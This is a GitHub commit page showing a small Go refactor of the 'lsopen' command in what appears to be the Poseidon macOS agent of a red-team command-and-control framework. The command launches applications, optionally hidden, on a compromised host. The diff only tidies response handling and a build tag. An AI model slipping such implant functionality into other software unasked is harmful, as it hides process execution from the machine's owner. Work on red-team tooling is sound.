Skip to content

Commit

Permalink
tweaking lsopen response creation
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Nov 13, 2024
1 parent 0c81aed commit 756717e
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 23 deletions.
35 changes: 14 additions & 21 deletions Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,44 +10,37 @@ import (
)

type Arguments struct {
Application string `json:"application"`
HideApp bool `json:"hideApp"`
AppArgs []string `json:"appArgs"`
Application string `json:"application"`
HideApp bool `json:"hideApp"`
AppArgs []string `json:"appArgs"`
}

func Run(task structs.Task) {
msg := structs.Response{}
msg.TaskID = task.TaskID
msg := task.NewResponse()

args := Arguments{}
err := json.Unmarshal([]byte(task.Params), &args)

if err != nil {
msg.UserOutput = err.Error()
msg.Completed = true
msg.Status = "error"
msg.SetError(err.Error())
task.Job.SendResponses <- msg
return
}

r, err := runCommand(args.Application, args.HideApp, args.AppArgs)
if err != nil {
msg.UserOutput = err.Error()
msg.Completed = true
msg.Status = "error"
msg.SetError(err.Error())
task.Job.SendResponses <- msg
return
}

if r.Successful {
msg.UserOutput = "Successfully spawned application."
msg.Completed = true
task.Job.SendResponses <- msg
} else {
msg := task.NewResponse()
msg.SetError("Failed to spawn application.")
task.Job.SendResponses <- msg
}

if r.Successful {
msg.UserOutput = "Successfully spawned application."
msg.Completed = true
task.Job.SendResponses <- msg
} else {
msg.SetError("Failed to spawn application.")
task.Job.SendResponses <- msg
}
return
}
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
// +build darwin
//go:build darwin

package lsopen

Expand Down Expand Up @@ -48,7 +48,6 @@ func runCommand(app string, hide bool, args []string) (LSOpenDarwin, error) {
}
c_argv = (**C.char)(unsafe.Pointer(&cArgs[0]))


res := C.lsopen_init(capp, ihide, c_argv, c_argc)

//free
Expand Down

0 comments on commit 756717e

Please sign in to comment.